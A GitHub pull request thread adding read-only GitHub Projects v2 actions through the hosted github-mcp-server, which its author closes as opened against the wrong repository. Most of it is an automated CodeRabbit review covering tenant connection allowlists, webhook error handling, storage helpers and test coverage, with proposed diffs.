feat(github): add Projects (v2) support via github-mcp-server proxy

[vivek]

Summary

GitHub Projects v2 is GraphQL-only — there's no REST equivalent — so this
provider (REST-backed: runtime-{activity,issue,pull-request,release, repository,search}.ts) has never had a path to it. This adds eight read-only
actions proxied to GitHub's own hosted github-mcp-server
(https://api.githubcopilot.com/mcp/), following the MCP-client-wrapper
pattern this repo already uses for hubspot/cloudflare_docs/jumpserver/
excalidraw_mcp:

• list_projects, list_project_fields, list_project_items,
  list_project_status_updates
• get_project, get_project_field, get_project_item,
  get_project_status_update

[vivek]

Opened in error against the wrong repository (should have targeted a fork, not upstream) — closing immediately. Apologies for the noise.

[coderabbitai]

Summary by CodeRabbit

• New Features

  • Added read-only GitHub Projects support for projects, fields, items, and status updates.
  • Added tenant-isolated connections and runtime access controls for restricting tokens to approved connections.
  • Added optional PostgreSQL storage alongside SQLite.
  • Added signed webhooks for connection-created events.
  • Added browser connect sessions, OAuth completion redirects, and authorized credential retrieval.
  • Added automated production promotion and Docker image publishing workflows.

• Documentation

  • Expanded configuration guidance and added deployment and GitHub Projects planning documentation.

• Bug Fixes

  • Improved connection and credential isolation across tenants.

Walkthrough

The change adds tenant-scoped connections and runtime tokens across services, APIs, storage, OAuth, MCP, proxies, and tests. It adds PostgreSQL runtime storage with migrations and schema validation. It adds browser connect sessions, credential reads, connection-created webhooks, OAuth completion redirects, and connection allowlists. It adds GitHub Projects v2 actions through the hosted MCP server. It replaces Docker publishing with reusable amd64 workflows and adds manual Railway production promotion.

🚥 Pre-merge checks | ✅ 4

✅ Passed checks (4 passed)

Check name	Status	Explanation
Title check	✅ Passed	The title follows the required type(scope): subject format and accurately describes the GitHub Projects v2 proxy support.
Description check	✅ Passed	The description clearly explains the GitHub Projects v2 actions, hosted MCP proxy, OAuth scope, and read-only scope.
Linked Issues check	✅ Passed	Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check	✅ Passed	Check skipped because no linked issues were found for this pull request.

✨ Finishing Touches

✨ Simplify code

• Create PR with simplified code

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands.}

[vivek]

I will open one by first opening an issue to discuss approach before opening a PR

[coderabbitai]

Actionable comments posted: 17

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (2)

src/mcp.ts (1)

200-213: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Listing tools ignore the runtime grant's connection allowlist.

listConnections and listApps scope by tenant, but they do not filter by options.runtimeGrant?.allowedConnections. executeAction forwards that allowlist to the action runner, so execution is restricted while enumeration is not. A token limited to one connection can therefore read the account profile of every other connection in the same tenant, including accountId and displayName returned by serializeConnection.

The documented purpose of allowedConnections is to stop a token from reaching another account under the same tenant. Filter the listings by the same allowlist, or state explicitly that enumeration is intentionally unrestricted.

🔒 Proposed direction

 async function listConnections(options: IMcpServerOptions, service: string | undefined): Promise<ToolPayload> {
   try {
     const connections = service
       ? await options.connections.listConnectionsByService(options.tenant, service)
       : await options.connections.listConnections(options.tenant);
-    return successPayload(connections.filter((connection) => !connection.virtual).map(serializeConnection));
+    const allowed = options.runtimeGrant?.allowedConnections;
+    return successPayload(
+      connections
+        .filter((connection) => !connection.virtual)
+        .filter((connection) => allowed === undefined || allowed.includes(connection.connectionName))
+        .map(serializeConnection),
+    );
   } catch (error) {
     return connectionErrorPayload(error);
   }
 }

Apply the same filter to the connection field built in listApps.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/mcp.ts` around lines 200 - 213, Update listConnections and listApps to
enforce options.runtimeGrant?.allowedConnections when enumerating tenant
connections, using the same connection-identifier matching semantics as
executeAction. Filter both serialized connections and the connection field used
by listApps, while preserving unrestricted behavior when no allowlist is
configured.

src/providers/monday/scopes.ts (1)

2-3: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Restore or remove removed Monday scope references before merging.

account:read is dropped from mondayAuthorizationScopes, while get_current_user and list_users still declare it. manage_account_security and forms:write are also absent from the Monday authorization scopes but still assigned to requiredScopes by list_audit_logs, create_form, activate_form, and deactivate_form. Add the scopes that actions require, or remove the actions/reduce their required scopes.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/providers/monday/scopes.ts` around lines 2 - 3, The Monday authorization
scopes must match the scopes declared by its actions. Update
mondayAuthorizationScopes to include account:read, manage_account_security, and
forms:write for get_current_user, list_users, list_audit_logs, create_form,
activate_form, and deactivate_form, or remove/reduce those actions’
requiredScopes so no action requests an undeclared scope.

🧹 Nitpick comments (23)

docs/features/github-mcp-full-proxy/PLAN.md (1)

131-139: 🗄️ Data Integrity & Integration | 🔵 Trivial | 🏗️ Heavy lift

Define a stable catalog contract before using runtime tool discovery.

listTools() can change action names, schemas, and permissions without a catalog rebuild. This can make search_actions advertise a different surface from execute_action and can expose new write tools without review.

Define a reviewed allowlist and checked-in schema snapshot, or specify a deterministic catalog refresh and rollback process before adopting this option.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@docs/features/github-mcp-full-proxy/PLAN.md` around lines 131 - 139, Before
adopting runtime discovery in defineMcpProxyProvider, establish a stable
reviewed catalog contract: maintain an action allowlist and checked-in schema
snapshot, or document a deterministic refresh and rollback process. Ensure
search_actions and execute_action use the same approved catalog and prevent
newly discovered write tools from being exposed without review.

src/server/webhooks/connection-webhook.ts (2)

87-97: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Replace Record<string, unknown> with an explicit interface.

buildConnectionCreatedPayload returns Record<string, unknown> even though the shape is fixed and well-known. Coding guidelines call for interface for object-shaped contracts and for explicit interfaces over ad hoc object types that cross module boundaries. Since this function's return value crosses into the notifier and tests, an explicit interface gives consumers field-level type safety instead of unknown.

♻️ Proposed fix to type the payload explicitly

+export interface ConnectionCreatedWebhookPayload {
+  type: "connection.created";
+  connectionId: string;
+  providerConfigKey: string;
+  tenant: Tenant;
+  connectionName: string;
+  authType: AuthType;
+  createdAt: string;
+}
+
-export function buildConnectionCreatedPayload(event: ConnectionCreatedEvent): Record<string, unknown> {
+export function buildConnectionCreatedPayload(event: ConnectionCreatedEvent): ConnectionCreatedWebhookPayload {
   return {
     type: "connection.created",
     connectionId: event.connectionId,
     providerConfigKey: event.service,
     tenant: event.tenant,
     connectionName: event.connectionName,
     authType: event.authType,
     createdAt: event.createdAt,
   };
 }

As per coding guidelines, "Prefer `interface` for object-shaped contracts, and use `type` for unions and mapped or utility compositions."

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/webhooks/connection-webhook.ts` around lines 87 - 97, Define an
explicit interface for the fixed connection-created payload shape and update
buildConnectionCreatedPayload to return that interface instead of Record<string,
unknown>. Include typed fields for type, connectionId, providerConfigKey,
tenant, connectionName, authType, and createdAt, preserving the existing payload
values and structure.

Source: Coding guidelines

---

44-51: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick win

Move payload/header setup inside the try to honor the "never throws" contract.

The class doc comment states delivery is fire-and-forget and "must not fail the OAuth flow or lose the connection." notify() enforces this by calling void this.deliver(event), discarding the returned promise. However, JSON.stringify, the AbortController construction, and setTimeout at Line 45-49 run before the try block starts at Line 51. If any of that code throws synchronously (for example, a future field added to ConnectionCreatedEvent that is not JSON-serializable), deliver()'s returned promise rejects, and since notify() never awaits or catches it, this becomes an unhandled promise rejection instead of a logged failure.

Move this setup inside the try block so every failure path is caught and logged consistently with the rest of the method.

🛡️ Proposed fix to guard the setup code

   private async deliver(event: ConnectionCreatedEvent): Promise<void> {
-    const body = JSON.stringify(buildConnectionCreatedPayload(event));
-    const signatureHeader = this.options.signatureHeader ?? defaultWebhookSignatureHeader;
-    const fetchImpl = this.options.fetchImpl ?? fetch;
-    const controller = new AbortController();
-    const timeout = setTimeout(() => controller.abort(), this.options.timeoutMs ?? 10_000);
-
-    try {
+    let timeout: NodeJS.Timeout | undefined;
+    try {
+      const body = JSON.stringify(buildConnectionCreatedPayload(event));
+      const signatureHeader = this.options.signatureHeader ?? defaultWebhookSignatureHeader;
+      const fetchImpl = this.options.fetchImpl ?? fetch;
+      const controller = new AbortController();
+      timeout = setTimeout(() => controller.abort(), this.options.timeoutMs ?? 10_000);
       const response = await fetchImpl(this.options.url, {
         method: "POST",
         headers: {
           "content-type": "application/json",
           [signatureHeader]: signConnectionWebhook(body, this.options.secret),
         },
         body,
         signal: controller.signal,
       });
       ...
     } finally {
-      clearTimeout(timeout);
+      if (timeout) clearTimeout(timeout);
     }
   }

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/webhooks/connection-webhook.ts` around lines 44 - 51, Move the
JSON payload construction, signature header and fetch implementation selection,
AbortController creation, and timeout setup inside deliver’s existing try block.
Ensure any synchronous setup failure is caught by the method’s current error
handling and logged rather than rejecting the fire-and-forget promise.

src/server/webhooks/connection-webhook.test.ts (1)

99-125: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

The not.toThrow() assertions do not test failure handling.

notify() calls void this.deliver(event), discarding the returned promise. Since deliver is async, notify() can never throw synchronously, no matter what happens inside deliver (success, HTTP failure, or network error). This means expect(() => ...notify(event)).not.toThrow() passes unconditionally and does not verify the resilience behavior the test name and comment describe.

Pass a logger mock into ConnectionWebhookNotifier and assert that logger.warn is called with failure details after flush(). This actually confirms failures are caught and logged rather than merely confirming a promise was discarded.

🧪 Proposed fix to assert observable failure handling

   it("does not throw when the receiver fails or is unreachable", async () => {
     const rejecting = vi.fn(async () => new Response(null, { status: 500 }));
     const throwing = vi.fn(async () => {
       throw new Error("connect ECONNREFUSED");
     });
+    const logger = { warn: vi.fn(), info: vi.fn() };

     // The credential is already stored by this point, so a receiver being down must not
     // surface as an error to the OAuth callback.
     expect(() =>
       new ConnectionWebhookNotifier({
         url: "https://example.test/hook",
         secret: "secret",
         fetchImpl: rejecting as unknown as typeof fetch,
+        logger: logger as unknown as Logger,
       }).notify(event),
     ).not.toThrow();
     ...
     await flush();

     expect(rejecting).toHaveBeenCalledTimes(1);
     expect(throwing).toHaveBeenCalledTimes(1);
+    expect(logger.warn).toHaveBeenCalledTimes(2);
   });

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/webhooks/connection-webhook.test.ts` around lines 99 - 125,
Replace the ineffective synchronous not.toThrow assertions in the “does not
throw when the receiver fails or is unreachable” test with a logger mock passed
to each ConnectionWebhookNotifier instance. After flush(), assert that
logger.warn is called with the relevant HTTP and network failure details, while
retaining the fetch invocation count checks to verify both delivery attempts
were made.

src/oauth/oauth-flow-service.ts (1)

43-50: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Prefer interface for this object-shaped contract.

OAuthAuthorizationState describes an object shape, not a union or mapped composition. The coding guidelines require interface here.

♻️ Proposed change

-export type OAuthAuthorizationState = {
+export interface OAuthAuthorizationState {
   tenant: Tenant;
   service: string;
   connectionName?: string;
   state: string;
   createdAt: string;
   pkceCodeVerifier?: string;
-};
+}

As per coding guidelines: "Prefer interface for object-shaped contracts, and use type for unions and mapped or utility compositions."

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/oauth/oauth-flow-service.ts` around lines 43 - 50, Change
OAuthAuthorizationState from a type alias to an interface while preserving all
existing properties and optionality; no other OAuth flow behavior needs
modification.

Source: Coding guidelines

src/server/storage/runtime-token-service.ts (1)

84-89: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚖️ Poor tradeoff

Consider an input interface for createToken.

createToken now takes four positional parameters, and the third and fourth are optional and adjacent. tenant and allowedConnections are both security-relevant. A caller that passes them in the wrong position, or that skips policy to reach tenant, produces a token with the wrong scope. A named input interface removes the ordering risk and documents each field at the call site.

♻️ Proposed shape

+export interface CreateRuntimeTokenInput {
+  name: string;
+  policy?: TokenPolicy;
+  tenant?: Tenant;
+  allowedConnections?: string[];
+}
+
-  async createToken(
-    name: string,
-    policy: TokenPolicy = { allowedActions: [], blockedActions: [], allowedProxies: [] },
-    tenant: Tenant = defaultTenant,
-    allowedConnections?: string[],
-  ): Promise<RuntimeTokenCreation> {
+  async createToken(input: CreateRuntimeTokenInput): Promise<RuntimeTokenCreation> {

This changes every call site, so defer it if the current callers are few and stable.

As per coding guidelines: "Prefer named options or input interfaces over inline object types when signatures span multiple lines or cross module boundaries."

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/storage/runtime-token-service.ts` around lines 84 - 89, Change
createToken to accept a named input interface containing name, policy, tenant,
and allowedConnections instead of four positional parameters, and update every
caller to pass the corresponding named fields. Preserve the existing defaults
for policy and tenant and the current token-scoping behavior.

Source: Coding guidelines

src/server/index.ts (1)

39-45: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Move the webhook comment next to the webhook variables.

Lines 39-40 explain the webhook URL and secret requirement, but they sit directly above connectSessionSecret. The connect-session comment follows on lines 41-42. A reader attributes the webhook rule to the wrong constant. The webhook variables start at line 46.

♻️ Proposed change

-// Both a URL and a secret are required: an unsigned webhook lets anyone who can reach the
-// receiver forge a connection event, so there is no unsigned mode.
 // Falls back to the encryption key so connect sessions work without a second secret to
 // manage; a dedicated value is still preferred so rotating one does not invalidate the other.
 const connectSessionSecret =
   process.env.OOMOL_CONNECT_SESSION_SECRET ?? process.env.OOMOL_CONNECT_ENCRYPTION_KEY ?? undefined;
 const connectSessionTtlSeconds = readPositiveIntegerEnv("OOMOL_CONNECT_SESSION_TTL_SECONDS", 1800);
+// Both a URL and a secret are required: an unsigned webhook lets anyone who can reach the
+// receiver forge a connection event, so there is no unsigned mode.
 const webhookUrl = process.env.OOMOL_CONNECT_WEBHOOK_URL;

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/index.ts` around lines 39 - 45, Move the comment describing the
required webhook URL and secret from above connectSessionSecret to immediately
before the webhook variables beginning at the webhook configuration block. Keep
the connect-session fallback and rotation explanation adjacent to
connectSessionSecret.

src/server/storage/sqlite-runtime-store.ts (1)

413-415: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

readOptionalJson is duplicated verbatim in two storage modules. Both files added the same helper in this change. One shared definition keeps the two backends from diverging when the parsing rules change.

• src/server/storage/sqlite-runtime-store.ts#L413-L415: keep the definition here only if this module already owns the shared row readers; otherwise move it to the shared storage module and import it.
• src/server/storage/d1-runtime-store.ts#L345-L347: remove the local copy and import the shared helper.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/storage/sqlite-runtime-store.ts` around lines 413 - 415,
Deduplicate readOptionalJson across the storage backends: in
src/server/storage/sqlite-runtime-store.ts lines 413-415, retain it only if this
module owns the shared row readers; otherwise move the single definition to the
shared storage module and import it. In src/server/storage/d1-runtime-store.ts
lines 345-347, remove the local definition and import the shared helper.

src/server/storage/postgres-runtime-store.ts (1)

210-247: 🗄️ Data Integrity & Integration | 🔵 Trivial | 💤 Low value

The placeholder scanner ignores SQL comments and dollar quoting.

The scanner tracks ' and " only. A ? inside a -- line comment, a /* */ block comment, or a $$ … $$ body is rewritten as a parameter. That shifts the numbering of every later placeholder, so the query binds the wrong values instead of failing loudly.

No current store query contains those constructs, so this is defensive. Add the comment and dollar-quote cases, or state the restriction in the doc comment so a future query does not break silently.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/storage/postgres-runtime-store.ts` around lines 210 - 247, Update
toPostgresPlaceholders to track SQL line comments, block comments, and
dollar-quoted bodies, leaving their contents unchanged and rewriting only
placeholders outside quoted or commented regions. Alternatively, document an
explicit restriction against those constructs, but ensure future queries cannot
silently misnumber parameters.

src/server/connect-app.ts (2)

38-38: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Replace the inline webhook object type with a named interface.

ConnectAppOptions is exported and src/server/index.ts populates webhook. src/server/webhooks/connection-webhook.ts already declares ConnectionWebhookOptions with the same url, secret, and signatureHeader fields. Derive the option from that type so the two definitions cannot drift.

♻️ Proposed refactor

-  /** Deliver `connection.created` to this endpoint. Omitted means no webhooks. */
-  webhook?: { url: string; secret: string; signatureHeader?: string };
+  /** Deliver `connection.created` to this endpoint. Omitted means no webhooks. */
+  webhook?: Pick<ConnectionWebhookOptions, "url" | "secret" | "signatureHeader">;

Import the type alongside the existing class import:

-import { ConnectionWebhookNotifier } from "./webhooks/connection-webhook.ts";
+import type { ConnectionWebhookOptions } from "./webhooks/connection-webhook.ts";
+import { ConnectionWebhookNotifier } from "./webhooks/connection-webhook.ts";

As per coding guidelines: "Prefer named options or input interfaces over inline object types when signatures span multiple lines or cross module boundaries."

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/connect-app.ts` at line 38, Update the exported ConnectAppOptions
webhook property to use the existing ConnectionWebhookOptions type from
connection-webhook.ts instead of an inline object type, importing it as a type
alongside the existing class import and preserving the optional webhook
property.

Source: Coding guidelines

---

108-110: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Consider rejecting a short connectSessionSecret at startup.

This secret is the HMAC key for browser connect tokens. A caller who forges a token chooses the tenant and the allowed services in the claims. A minimum-length check here fails a weak configuration at startup rather than leaving the control ineffective at runtime.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/connect-app.ts` around lines 108 - 110, Validate
options.connectSessionSecret during startup before constructing
ConnectSessionService, rejecting configurations whose secret is shorter than the
required minimum length. Ensure weak secrets fail immediately with a clear
configuration error, while preserving the existing service creation behavior for
valid secrets and the undefined path when no secret is configured.

src/server/actions/action-runner.test.ts (1)

72-132: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Add the two boundary cases that separate "unrestricted" from "deny all".

The three tests cover a permitted alias, a denied alias, and undefined. Two documented boundaries stay untested:

• allowedConnections: []. RuntimeTokenRecord in src/server/storage/runtime-token-service.ts (Lines 8-39) documents [] as "no connections at all". The runner denies it only because [] .includes(name) is false. A future change to the guard could silently turn [] into unrestricted.
• connectionName omitted while an allowlist is set. normalizeConnectionName(undefined) resolves to the default alias, so a token restricted to ["work"] must be denied when the caller sends no connectionName. This is the most likely bypass shape in practice.

💚 Suggested additional tests

it("denies every connection when allowedConnections is empty", async () => {
  const runner = createRunner({ runs: new MemoryRunLogStore(), logger: createTestLogger().logger });

  const run = await runner.run({
    actionId: "example.echo",
    input: {},
    caller: "mcp",
    tenant: testTenant,
    connectionName: "default",
    allowedConnections: [],
  });

  expect(run).toMatchObject({ result: { ok: false, error: { code: "connection_not_allowed" } } });
});

it("denies an omitted connectionName when the default alias is not allowed", async () => {
  const runner = createRunner({ runs: new MemoryRunLogStore(), logger: createTestLogger().logger });

  const run = await runner.run({
    actionId: "example.echo",
    input: {},
    caller: "mcp",
    tenant: testTenant,
    allowedConnections: ["work"],
  });

  expect(run).toMatchObject({ result: { ok: false, error: { code: "connection_not_allowed" } } });
});

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/actions/action-runner.test.ts` around lines 72 - 132, Add two
boundary-case tests to the runner authorization suite: verify
allowedConnections: [] rejects a named connection with connection_not_allowed,
and verify omitting connectionName is denied when allowedConnections excludes
the normalized default alias. Use createRunner and runner.run consistently with
the existing tests.

src/oauth/oauth-flow-service.test.ts (1)

248-283: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

The ordering claim in the test name is not enforced.

The test asserts the event count before and after completeAuthorization, then reads the credential afterwards. An implementation that emits connection.created before persisting would still pass. To assert the ordering the name claims, read the credential inside the listener.

♻️ Assert ordering from inside the listener

   it("emits connection.created only after the credential is stored", async () => {
     const events: ConnectionCreatedEvent[] = [];
-    const services = createServices([oauthProvider], { onConnectionCreated: (event) => events.push(event) });
+    const storedAtEmitTime: (ResolvedCredential | undefined)[] = [];
+    let services: ReturnType<typeof createServices>;
+    services = createServices([oauthProvider], {
+      onConnectionCreated: (event) => {
+        events.push(event);
+        // The credential must already be readable when the event fires.
+        void services.connections
+          .getCredential(event.tenant, event.service, event.connectionName)
+          .then((credential) => storedAtEmitTime.push(credential));
+      },
+    });

A synchronous alternative is to have the listener record a flag and assert the store contents in the same tick if the notifier is awaited.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/oauth/oauth-flow-service.test.ts` around lines 248 - 283, Update the test
around createServices and its onConnectionCreated listener so it reads the
credential from services.connections inside the listener and asserts the stored
OAuth credential is available at notification time. Keep the existing event
payload and token-redaction assertions, while ensuring the listener’s lookup is
awaited or otherwise captured for assertions after completeAuthorization.

src/connection-service.test.ts (1)

839-884: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

One tenant-aware MemoryConnectionStore is now copied into four test files. This PR applied the same tenant-keying change to four independent copies of the same in-memory IConnectionStore double, each with an identical ${tenant}:${service}:${connectionName} key, an identical tenant filter in list, and an identical optimistic updateCredential. The next change to the IConnectionStore contract will require the same edit in four places, and any copy that is missed will keep passing against a stale contract. Extract one shared double, for example src/test-support/memory-connection-store.ts, and import it in all four files.

• src/connection-service.test.ts#L839-L884: move this implementation and createConnectionKey into the shared module and import it here.
• src/mcp.test.ts#L592-L643: replace this copy with the shared double; keep the constructor that seeds StoredConnection[] as an optional argument on the shared class.
• src/oauth/oauth-flow-service.test.ts#L660-L705: replace this copy with the shared double.
• src/server/connect-server.test.ts#L3557-L3602: replace this copy with the shared double; CreateTestServerOptions.connectionStore then types against the shared class.

As per coding guidelines: "Split modules by responsibility or abstraction boundary rather than loose categories" and "Avoid temporary ad hoc objects passed through many layers; prefer explicit interfaces, classes, or top-level functions matching module boundaries."

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/connection-service.test.ts` around lines 839 - 884, Extract the
duplicated MemoryConnectionStore implementation and createConnectionKey from
src/connection-service.test.ts#L839-884 into a shared test-support module,
preserving the tenant-aware keying, list filtering, and optimistic
updateCredential behavior. Import and use the shared class in
src/connection-service.test.ts#L839-884, src/mcp.test.ts#L592-643 (retaining an
optional StoredConnection[] seeding constructor),
src/oauth/oauth-flow-service.test.ts#L660-705, and
src/server/connect-server.test.ts#L3557-3602; ensure
CreateTestServerOptions.connectionStore uses the shared class.

Source: Coding guidelines

src/server/connect-server.test.ts (3)

1402-1432: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Assert that the audit record does not contain the credential.

This test confirms the endpoint returns secret-value and writes a run-log entry. It does not confirm the secret stays out of that entry. A credential read-out endpoint that audits itself is exactly where a secret can leak into durable storage, and the run log persists inputSummary and outputSummary.

🛡️ Suggested assertion

     await expect(runs.list()).resolves.toMatchObject({
       items: [{ actionId: "connection.read_credential", service: "example", ok: true }],
     });
+    // The audit trail must record the read without recording what was read.
+    expect(JSON.stringify((await runs.list()).items)).not.toContain("secret-value");

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/connect-server.test.ts` around lines 1402 - 1432, Extend the test
around the admin credential read in the “returns the credential to an admin
caller and audits the read” case to inspect the recorded run-log entry and
assert that neither inputSummary nor outputSummary contains “secret-value”. Keep
the existing successful response and audit-field assertions unchanged.

---

1082-1090: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Assert the exact tenant and connectionName in the redirect.

toBeTruthy() passes for any non-empty value. The tenant parameter is the part of this redirect that a consuming console trusts, so a wrong tenant would still pass this test. The test server resolves a known tenant for a request without a tenant header, and the connection uses the default alias.

💚 Assert exact values

     expect(redirectUrl.searchParams.get("service")).toBe("oauth_example");
     expect(redirectUrl.searchParams.get("connectionId")).toBeTruthy();
-    expect(redirectUrl.searchParams.get("tenant")).toBeTruthy();
-    expect(redirectUrl.searchParams.get("connectionName")).toBeTruthy();
+    expect(redirectUrl.searchParams.get("tenant")).toBe(defaultTenant);
+    expect(redirectUrl.searchParams.get("connectionName")).toBe("default");

Import defaultTenant from ../connection-service.ts if it is not already imported.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/connect-server.test.ts` around lines 1082 - 1090, Update the
redirect assertions in the connect callback test to verify exact values for
tenant and connectionName instead of only checking truthiness. Import and use
defaultTenant from the connection service for the resolved tenant, and assert
the connection’s default alias for connectionName while leaving the remaining
redirect assertions unchanged.

---

1313-1327: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

The test name covers expiry, but the test does not.

This case only exercises a session signed with a different secret. ConnectSessionService.verify returns a separate session_token_expired code for an elapsed expiresAt (see src/server/api/connect-session.ts Lines 59-100), and that branch has no coverage. Either add an expiry case or narrow the test name.

💚 Suggested expiry case

it("rejects an expired connect session", async () => {
  const app = createTestServer([oauthProvider], {
    connectSessionSecret: "session-secret",
    auth: { adminToken: "admin-token" },
  }).createApp();
  // Negative TTL puts expiresAt in the past without waiting.
  const expired = new ConnectSessionService("session-secret", -60).create({
    tenant: "tenant-a",
    allowedServices: ["oauth_example"],
  });

  const response = await app.request(`/connect?token=${encodeURIComponent(expired.token)}`);

  expect(response.status).toBe(401);
  await expect(response.json()).resolves.toMatchObject({ error: { code: "session_token_expired" } });
});

The server builds its own ConnectSessionService with the default TTL, so this only works when the token is minted with the same secret and a past expiresAt.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/connect-server.test.ts` around lines 1313 - 1327, Update the test
around the “rejects an invalid or expired connect session” case to cover
expiration by creating the session with the matching secret and a negative TTL,
then assert the 401 response uses the “session_token_expired” error code; keep
the foreign-secret scenario as a separate test with a name describing
invalid-session rejection.

src/server/storage/sqlite-runtime-store.test.ts (1)

28-131: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Hoist one credential helper for this describe block.

The same api_key credential factory is redefined in three tests (Lines 32-38, 79-85, 105-111) and once more as a literal (Lines 61-67). src/server/storage/postgres-runtime-store.test.ts already uses a single module-level credential(apiKey) helper with this exact shape (Lines 32-40). Mirror that here.

♻️ Proposed helper

 describe("SqliteConnectionStore tenancy", () => {
+  const credential = (apiKey: string): ResolvedCredential => ({
+    authType: "api_key",
+    apiKey,
+    values: { apiKey },
+    profile: { accountId: "acct", displayName: "acct", grantedScopes: [] },
+    metadata: {},
+  });
+
   it("isolates identically-named connections between tenants", async () => {
     const database = new SqliteRuntimeDatabase(await createDatabasePath());
     const store = database.connectionStore;
-    const credential = (apiKey: string): ResolvedCredential => ({
-      authType: "api_key",
-      apiKey,
-      values: { apiKey },
-      profile: { accountId: "acct", displayName: "acct", grantedScopes: [] },
-      metadata: {},
-    });

The test at Lines 58-74 then uses credential("token") instead of its own literal.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/storage/sqlite-runtime-store.test.ts` around lines 28 - 131, Hoist
a single credential(apiKey) helper to the SqliteConnectionStore tenancy describe
block, matching the existing ResolvedCredential shape used by the repeated
factories and literal. Replace all three local factory definitions and the
inline credential object in the tenant deletion test with calls to this shared
helper, preserving each test’s current token values.

src/server/storage/postgres-runtime-store.test.ts (1)

109-119: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick win

Close each ad hoc pool in a finally.

Three cases create a Pool and call pool.end() on the success path only. At Line 146 the assertion runs before pool.end(), so a failing expectation leaks the pool and Vitest can hang on the open handle instead of reporting the failure. Line 111 can also throw before Line 119.

🛡️ Proposed fix for the wrong-schema case

   it("refuses a pool that resolves to the wrong schema", async () => {
     // A pool built without createConnectorPool inherits whatever search_path the server
     // defaults to, which would put the runtime's tables in public.
     const pool = new Pool({ connectionString: databaseUrl });
 
-    await expect(PostgresRuntimeDatabase.create(pool)).rejects.toThrow(/search_path/);
-    await pool.end();
+    try {
+      await expect(PostgresRuntimeDatabase.create(pool)).rejects.toThrow(/search_path/);
+    } finally {
+      await pool.end();
+    }
   });

Apply the same pattern around the queries at Lines 109-119 and Lines 128-135.

Also applies to: 128-135, 141-148

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/server/storage/postgres-runtime-store.test.ts` around lines 109 - 119,
Wrap each ad hoc Pool lifecycle in the test cases around the schema queries and
assertions (including the blocks at lines 109-119, 128-135, and 141-148) with
try/finally, moving pool.end() into finally so cleanup runs when queries or
expectations throw. Preserve the existing query and assertion behavior while
ensuring every created pool is closed on both success and failure.

src/mcp.test.ts (1)

467-467: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Align the runtime-grant tenant with the MCP server tenant.

